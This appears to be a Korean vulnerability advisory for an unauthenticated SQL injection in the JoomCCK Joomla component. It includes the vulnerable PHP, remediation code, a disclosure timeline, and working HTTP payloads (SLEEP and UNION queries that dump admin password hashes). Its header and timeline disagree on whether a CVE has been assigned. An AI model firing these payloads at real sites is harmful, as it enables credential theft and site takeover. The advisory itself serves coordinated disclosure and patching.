
CVE-2026-49048 — JoomCCK 6.4.0 인증되지 않은 SQL 인젝션 (CVSS 9.8)
CVE: CVE-2026-49048
상태: 공개 공개. Joomla 보안 대응팀(JSST)에 보고됨 — 티켓 #282420.
| 필드 | 값 |
|---|---|
| 권고 ID | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| 제품 | JoomCCK (com_joomcck) — Joomla용 콘텐츠 구성 키트 |
| 공급업체 | JoomCoder — https://www.joomcoder.com |
| 영향 받는 버전 | 6.4.0 (발견 당시 최신 버전, 이전 6.x 버전도 영향 받는 것으로 추정) |
| 수정 버전 | 작성 시점 기준 없음 |
| 유형 | 권한 부재(CWE-862)를 통한 SQL 인젝션(CWE-89) |
| 인증 필요 | 없음 — 인증되지 않음, 사전 인증 |
| 심각도 | 치명적 — CVSS 3.1 기본 점수 9.8 |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 발견자 | Kamil Soltanov |
| 연락처 | [email protected] |
| 발견 날짜 | 2026-06-22 |
Joomla 4/5/6 컴포넌트 JoomCCK는 사용자가 제공한 tag 매개변수를 이스케이프나 매개변수화 없이 SQL에 직접 연결하는 프런트엔드 컨트롤러 작업(task=tags.save)을 노출합니다. 컴포넌트의 사용자 정의 MVC 디스패처는 CSRF 토큰 검사와 접근 제어 검사를 수행하지 않으므로, 완전히 인증되지 않은 원격 공격자가 인젝션에 도달할 수 있습니다.
성공적인 익스플로잇은 UNION 기반 및 시간 기반 블라인드 SQL 인젝션을 통해 #__users 비밀번호 해시를 포함한 Joomla 데이터베이스에 대한 전체 읽기 접근을 허용하여 사이트 전체 장악으로 이어집니다.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
같은 클래스의 authorise() 메서드는 무조건 true를 반환하는 no-op입니다.
진입점 components/com_joomcck/joomcck.php는 로그인, 토큰, ACL 게이트 없이 execute(input->get('task'))를 호출합니다 → 모든 공개 컨트롤러 메서드가 인증되지 않은 태스크가 됩니다.
tags.save의 SQL 인젝션 (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Joomla의 STRING 입력 필터는 HTML 태그를 제거하지만 "는 그대로 통과시킵니다. 이는 여기서 SQL 문자열 구분자로 사용되는 것과 동일한 문자입니다. 인용된 리터럴을 탈출하면 임의의 SQL이 주입됩니다.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
예상: 응답이 5초 이상 지연됨(일치하는 행 기준).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
전체 PoC 코드와 캡처된 증거 기록은 poc/에 있습니다.
주요 랩 결과:
페이로드 (tag=) | 결과 |
|---|---|
cars (정상) | 1개 행 반환 — 정상 |
zzz" OR "1"="1 | "가 이스케이프되지 않음 → 모든 행 반환 (인젝션 확인됨) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | 관리자 비밀번호 해시 유출 |
zzz" OR SLEEP(3)-- - | 응답 지연 9.0초 (3개 행 × 3초) |
랩 하네스는 실제
Joomla\Input\Input::getString()과 실행 중인 MariaDB 11.8 인스턴스에 대한 원본 그대로의_saveTag()쿼리를 사용합니다.
인증되지 않은 원격 공격자는 다음을 수행할 수 있습니다:
UPDATE를 통해 #__js_res_tags의 행을 수정task=tags.delete 및 task=records.copy와 연계 (역시 인증 불필요 — 동일한 디스패처 결함)동일한 디스패처 결함으로 인해 추가적인 인증 불필요 작업이 노출됩니다:
| 작업 | 효과 |
|---|---|
tags.delete | 인증 없이 모든 태그 삭제 |
records.copy | 인증 없이 모든 레코드 복제 |
ajax.category_records | 카테고리별 레코드 열거 |
ajax.tags_list | 모든 태그 나열 |
ajax.users_filter | 사용자 이름 열거 |
ajax.loadfieldparams | 필드 구성 공개 |
참고: 많은 records.* 작업은 내부적으로 _checkAccess()를 통해 ACL을 적용하므로 영향을 받지 않습니다.
1. 모든 쿼리 매개변수화 (Joomla 쿼리 빌더):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. 디스패처에서 권한 부여 강제 — 모든 상태 변경 작업 전에 Session::checkToken()과 ACL 검사(Factory::getApplication()->getIdentity()->authorise(...))를 추가하여, files.upload에 이미 존재하는 보호 조치를 그대로 적용합니다.
| 날짜 | 사건 |
|---|---|
| 2026-06-22 | 로컬 랩 PoC를 통해 취약점 발견 및 검증 |
| 2026-06-22 | 권고문 작성; Joomla Security Strike Team(JSST) 및 VEL에 보고 |
| 2026-06-23 | JSST 접수 확인 — David Jardin, 티켓 #282420. JSST를 통한 벤더(JoomCoder) 협조 |
| 2026-06-25 | 운영 중인 Joomla 사이트에서 실제 공격 확인: SLEEP(5) → 115초 응답; UNION에서 MySQL 오류 1222 발생(비파괴적, 데이터 유출 없음) |
| 미정 | 벤더 패치 |
| 미정 | CVE 할당 |
| 미정 | 공개 공개(90일 협조 기간) |
독립 보안 연구원.
연락처: [email protected]